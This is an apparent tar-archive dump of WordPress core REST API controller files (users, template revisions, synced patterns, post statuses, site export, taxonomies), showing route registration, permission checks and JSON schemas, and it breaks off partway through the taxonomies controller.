					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'locale'             => array(
					'description' => __( 'Locale for the user.' ),
					'type'        => 'string',
					'enum'        => array_merge( array( '', 'en_US' ), get_available_languages() ),
					'context'     => array( 'edit' ),
				),
				'nickname'           => array(
					'description' => __( 'The nickname for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'slug'               => array(
					'description' => __( 'An alphanumeric identifier for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'registered_date'    => array(
					'description' => __( 'Registration date for the user.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'roles'              => array(
					'description' => __( 'Roles assigned to the user.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'edit' ),
				),
				'password'           => array(
					'description' => __( 'Password for the user (never included).' ),
					'type'        => 'string',
					'context'     => array(), // Password is never displayed.
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_user_password' ),
					),
				),
				'capabilities'       => array(
					'description' => __( 'All capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'extra_capabilities' => array(
					'description' => __( 'Any extra capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: Avatar image size in pixels. */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['avatar_urls'] = array(
				'description' => __( 'Avatar URLs for the user.' ),
				'type'        => 'object',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'default'     => 'asc',
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'enum'        => array( 'asc', 'desc' ),
			'type'        => 'string',
		);

		$query_params['orderby'] = array(
			'default'     => 'name',
			'description' => __( 'Sort collection by user attribute.' ),
			'enum'        => array(
				'id',
				'include',
				'name',
				'registered_date',
				'slug',
				'include_slugs',
				'email',
				'url',
			),
			'type'        => 'string',
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to users with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['roles'] = array(
			'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['capabilities'] = array(
			'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['who'] = array(
			'description' => __( 'Limit result set to users who are considered authors.' ),
			'type'        => 'string',
			'enum'        => array(
				'authors',
			),
		);

		$query_params['has_published_posts'] = array(
			'description' => __( 'Limit result set to users who have published posts.' ),
			'type'        => array( 'boolean', 'array' ),
			'items'       => array(
				'type' => 'string',
				'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ),
			),
		);

		$query_params['search_columns'] = array(
			'default'     => array(),
			'description' => __( 'Array of column names to be searched.' ),
			'type'        => 'array',
			'items'       => array(
				'enum' => array( 'email', 'name', 'id', 'username', 'slug' ),
				'type' => 'string',
			),
		);

		/**
		 * Filters REST API collection parameters for the users controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_User_Query parameter.  Use the
		 * `rest_user_query` filter to set WP_User_Query arguments.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_user_collection_params', $query_params );
	}
}
endpoints/class-wp-rest-template-revisions-controller.php000064400000021024151024200430017763 0ustar00<?php
/**
 * REST API: WP_REST_Template_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.4.0
 */

/**
 * Core class used to access template revisions via the REST API.
 *
 * @since 6.4.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Template_Revisions_Controller extends WP_REST_Revisions_Controller {
	/**
	 * Parent post type.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		parent::__construct( $parent_post_type );
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Templates_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for revisions based on post types supporting revisions.
	 *
	 * @since 6.4.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base,
				'(?P<id>[\d]+)'
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as revisions do not support trashing.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Gets the parent post, if the template ID is valid.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_template_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_template_id ) {
		$template = get_block_template( $parent_template_id, $this->parent_post_type );

		if ( ! $template ) {
			return new WP_Error(
				'rest_post_invalid_parent',
				__( 'Invalid template parent ID.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		$parent_post_id = isset( $template->wp_id ) ? (int) $template->wp_id : 0;

		if ( $parent_post_id <= 0 ) {
			return new WP_Error(
				'rest_invalid_template',
				__( 'Templates based on theme files can\'t have revisions.' ),
				array( 'status' => WP_Http::BAD_REQUEST )
			);
		}

		return get_post( $template->wp_id );
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$template = _build_block_template_result_from_post( $item );
		$response = $this->parent_controller->prepare_item_for_response( $template, $request );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return $response;
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->post_parent;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to delete a revision.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this revision.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Block_Template $template Template.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $template ) {
		$links = array(
			'self'   => array(
				'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ),
			),
			'parent' => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 6.4.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = $this->parent_controller->get_item_schema();

		$schema['properties']['parent'] = array(
			'description' => __( 'The ID for the parent of the revision.' ),
			'type'        => 'integer',
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-blocks-controller.php000064400000006152151024200430015413 0ustar00<?php
/**
 * Synced patterns REST API: WP_REST_Blocks_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides a REST endpoint for the editor to read, create,
 * edit, and delete synced patterns (formerly called reusable blocks).
 * Patterns are stored as posts with the wp_block post type.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Posts_Controller
 * @see WP_REST_Controller
 */
class WP_REST_Blocks_Controller extends WP_REST_Posts_Controller {

	/**
	 * Checks if a pattern can be read.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Post $post Post object that backs the block.
	 * @return bool Whether the pattern can be read.
	 */
	public function check_read_permission( $post ) {
		// By default the read_post capability is mapped to edit_posts.
		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return false;
		}

		return parent::check_read_permission( $post );
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 5.0.0
	 * @since 6.3.0 Adds the `wp_pattern_sync_status` postmeta property to the top level of response.
	 *
	 * @param array  $data    Response data to filter.
	 * @param string $context Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $data, $context ) {
		$data = parent::filter_response_by_context( $data, $context );

		/*
		 * Remove `title.rendered` and `content.rendered` from the response.
		 * It doesn't make sense for a pattern to have rendered content on its own,
		 * since rendering a block requires it to be inside a post or a page.
		 */
		unset( $data['title']['rendered'] );
		unset( $data['content']['rendered'] );

		// Add the core wp_pattern_sync_status meta as top level property to the response.
		$data['wp_pattern_sync_status'] = isset( $data['meta']['wp_pattern_sync_status'] ) ? $data['meta']['wp_pattern_sync_status'] : '';
		unset( $data['meta']['wp_pattern_sync_status'] );
		return $data;
	}

	/**
	 * Retrieves the pattern's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();

		/*
		 * Allow all contexts to access `title.raw` and `content.raw`.
		 * Clients always need the raw markup of a pattern to do anything useful,
		 * e.g. parse it or display it in an editor.
		 */
		$schema['properties']['title']['properties']['raw']['context']   = array( 'view', 'edit' );
		$schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' );

		/*
		 * Remove `title.rendered` and `content.rendered` from the schema.
		 * It doesn't make sense for a pattern to have rendered content on its own,
		 * since rendering a block requires it to be inside a post or a page.
		 */
		unset( $schema['properties']['title']['properties']['rendered'] );
		unset( $schema['properties']['content']['properties']['rendered'] );

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-post-statuses-controller.php000064400000024105151024200430016772 0ustar00<?php
/**
 * REST API: WP_REST_Post_Statuses_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access post statuses via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Statuses_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'statuses';
	}

	/**
	 * Registers the routes for post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<status>[\w-]+)',
			array(
				'args'   => array(
					'status' => array(
						'description' => __( 'An alphanumeric identifier for the status.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to manage post statuses.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all post statuses, depending on user context.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data              = array();
		$statuses          = get_post_stati( array( 'internal' => false ), 'object' );
		$statuses['trash'] = get_post_status_object( 'trash' );

		foreach ( $statuses as $obj ) {
			$ret = $this->check_read_permission( $obj );

			if ( ! $ret ) {
				continue;
			}

			$status             = $this->prepare_item_for_response( $obj, $request );
			$data[ $obj->name ] = $this->prepare_response_for_collection( $status );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$status = get_post_status_object( $request['status'] );

		if ( empty( $status ) ) {
			return new WP_Error(
				'rest_status_invalid',
				__( 'Invalid status.' ),
				array( 'status' => 404 )
			);
		}

		$check = $this->check_read_permission( $status );

		if ( ! $check ) {
			return new WP_Error(
				'rest_cannot_read_status',
				__( 'Cannot view status.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks whether a given post status should be visible.
	 *
	 * @since 4.7.0
	 *
	 * @param object $status Post status.
	 * @return bool True if the post status is visible, otherwise false.
	 */
	protected function check_read_permission( $status ) {
		if ( true === $status->public ) {
			return true;
		}

		if ( false === $status->internal || 'trash' === $status->name ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Retrieves a specific post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_status_object( $request['status'] );

		if ( empty( $obj ) ) {
			return new WP_Error(
				'rest_status_invalid',
				__( 'Invalid status.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post status object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$status` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Post status data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$status = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $status->label;
		}

		if ( in_array( 'private', $fields, true ) ) {
			$data['private'] = (bool) $status->private;
		}

		if ( in_array( 'protected', $fields, true ) ) {
			$data['protected'] = (bool) $status->protected;
		}

		if ( in_array( 'public', $fields, true ) ) {
			$data['public'] = (bool) $status->public;
		}

		if ( in_array( 'queryable', $fields, true ) ) {
			$data['queryable'] = (bool) $status->publicly_queryable;
		}

		if ( in_array( 'show_in_list', $fields, true ) ) {
			$data['show_in_list'] = (bool) $status->show_in_admin_all_list;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $status->name;
		}

		if ( in_array( 'date_floating', $fields, true ) ) {
			$data['date_floating'] = $status->date_floating;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		$rest_url = rest_url( rest_get_route_for_post_type_items( 'post' ) );
		if ( 'publish' === $status->name ) {
			$response->add_link( 'archives', $rest_url );
		} else {
			$response->add_link( 'archives', add_query_arg( 'status', $status->name, $rest_url ) );
		}

		/**
		 * Filters a post status returned from the REST API.
		 *
		 * Allows modification of the status data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $status   The original post status object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_status', $response, $status, $request );
	}

	/**
	 * Retrieves the post status' schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'status',
			'type'       => 'object',
			'properties' => array(
				'name'          => array(
					'description' => __( 'The title for the status.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'private'       => array(
					'description' => __( 'Whether posts with this status should be private.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'protected'     => array(
					'description' => __( 'Whether posts with this status should be protected.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'public'        => array(
					'description' => __( 'Whether posts of this status should be shown in the front end of the site.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'queryable'     => array(
					'description' => __( 'Whether posts with this status should be publicly-queryable.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'show_in_list'  => array(
					'description' => __( 'Whether to include posts in the edit listing for their post type.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'slug'          => array(
					'description' => __( 'An alphanumeric identifier for the status.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'date_floating' => array(
					'description' => __( 'Whether posts of this status may have floating published dates.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-edit-site-export-controller.php000064400000004076151024200430017347 0ustar00<?php
/**
 * REST API: WP_REST_Edit_Site_Export_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 */

/**
 * Controller which provides REST endpoint for exporting current templates
 * and template parts.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Edit_Site_Export_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'export';
	}

	/**
	 * Registers the site export route.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'export' ),
					'permission_callback' => array( $this, 'permissions_check' ),
				),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to export.
	 *
	 * @since 5.9.0
	 *
	 * @return true|WP_Error True if the request has access, or WP_Error object.
	 */
	public function permissions_check() {
		if ( current_user_can( 'export' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_export_templates',
			__( 'Sorry, you are not allowed to export templates and template parts.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Output a ZIP file with an export of the current templates
	 * and template parts from the site editor, and close the connection.
	 *
	 * @since 5.9.0
	 *
	 * @return void|WP_Error
	 */
	public function export() {
		// Generate the export file.
		$filename = wp_generate_block_templates_export_file();

		if ( is_wp_error( $filename ) ) {
			$filename->add_data( array( 'status' => 500 ) );

			return $filename;
		}

		$theme_name = basename( get_stylesheet() );
		header( 'Content-Type: application/zip' );
		header( 'Content-Disposition: attachment; filename=' . $theme_name . '.zip' );
		header( 'Content-Length: ' . filesize( $filename ) );
		flush();
		readfile( $filename );
		unlink( $filename );
		exit;
	}
}
endpoints/class-wp-rest-taxonomies-controller.php000064400000033277151024200430016334 0ustar00<?php
/**
 * REST API: WP_REST_Taxonomies_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage taxonomies via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Taxonomies_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'taxonomies';
	}

	/**
	 * Registers the routes for taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<taxonomy>[\w-]+)',
			array(
				'args'   => array(
					'taxonomy' => array(
						'description' => __( 'An alphanumeric identifier for the taxonomy.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			if ( ! empty( $request['type'] ) ) {
				$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
			} else {
				$taxonomies = get_taxonomies( '', 'objects' );
			}

			foreach ( $taxonomies as $taxonomy ) {
				if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to manage terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all public taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) {
			$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
		} else {
			$taxonomies = get_taxonomies( '', 'objects' );
		}

		$data = array();

		foreach ( $taxonomies as $tax_type => $value ) {
			if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) {
				continue;
			}

			$tax               = $this->prepare_item_for_response( $value, $request );
			$tax               = $this->prepare_response_for_collection( $tax );
			$data[ $tax_type ] = $tax;
		}

		if ( empty( $data ) ) {
			// Response should still be returned as a JSON object when it is empty.
			$data = (object) $data;
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {

		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( $tax_obj ) {
			if ( empty( $tax_obj->show_in_rest ) ) {
				return false;
			}

			if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to manage terms in this taxonomy.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves a specific taxonomy.
	 *
	 * @since 4.7.0
	 *
